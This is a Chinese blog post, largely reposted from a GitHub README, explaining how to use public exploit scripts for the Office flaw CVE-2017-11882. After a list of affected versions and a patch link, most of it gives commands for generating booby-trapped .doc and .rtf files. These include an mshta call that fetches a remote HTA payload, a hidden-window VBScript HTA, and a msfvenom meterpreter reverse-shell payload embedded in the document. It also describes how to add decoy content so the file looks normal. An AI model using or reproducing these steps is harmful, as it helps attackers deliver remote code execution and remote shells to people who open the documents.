此文大部分内容转自github https://github.com/Ridter/CVE-2017-11882

CVE-2017-11882


2017年11月14日微软发布了潜伏17年之久的office远程代码执行漏洞(cve-2017-11882)。该漏洞为office内存破坏漏洞,影响目前流行的office版本。

漏洞影响


Office365
MicrosoftOffice 2000
MicrosoftOffice 2003
MicrosoftOffice 2007 Service Pack 3
MicrosoftOffice 2010 Service Pack 2
MicrosoftOffice 2013 Service Pack 1
MicrosoftOffice 2016

修复方案


修复补丁:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

exp使用


43b 原脚本来自于 https://github.com/embedi/CVE-2017-11882

109b 原脚本来自于 https://github.com/unamer/CVE-2017-11882/ (膜一波,现在unamer的代码已经可以执行shellcode了~)

17k 版本 https://github.com/unamer/CVE-2017-11882

CVE-2017-11882:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/

MITRE CVE-2017-11882:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

Research:
https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Patch analysis:
https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

DEMO PoC exploitation:
https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410

109b Usage


1
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

use mshta

1
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc

abc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>

43b命令长度不能超过43 bytes,109b命令长度不能超过109 bytes

17k usage


17k可以不依赖与互联网上的shellcode,而直接将shellcode集成在doc里,使用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 1. 利用msfvenom生成原始payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=2333 -o ./sc.bin
# 2. 将payload加载入office文件中
17k_CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.rtf



usage: 17k_CVE-2017-11882.py [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT

Exploit for CVE-2017-11882 @unamer(https://github.com/unamer/CVE-2017-11882)

optional arguments:
-h, --help show this help message and exit
-c CMD, --cmd CMD Command or shellcode file to run in target system
(Must be shorter than 17967 bytes!!)
-t {0,1}, --type {0,1}
Type (0:shellcode 1:command, default=1)
-i INJECT, --inject INJECT
Inject shellcode to new process
-o OUTPUT, --output OUTPUT
Output exploit rtf

测试例子

生成exploit doc


1
python Command109b_CVE-2017-11882.py -c "cmd.exe /c notepad.exe" -o exploit.doc

执行


关于自定义内容


其实关于自定义内容的姿势也是跟别的师傅学来的,很早之前就已经写成脚本了,本来不打算公开,但是看到小组内已经有人发出来了,没办法,只能公开了,其实方式很简单,只需要文本文件打开正常的文档rtf,复制{*\datastore 之前的所有内容,替换 {\object\objautlink\objupdate之前的内容即可,所以写到脚本里面就很简单了。

添加自定义内容使用方式,选择任意脚本:

1
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf

自定义内容在input.rtf中。

关于unamer的最新的605字节利用脚本就不更新了,有兴趣自己改。

参考


  1. 证明视频
  2. CVE-2017-11882漏洞复现和利用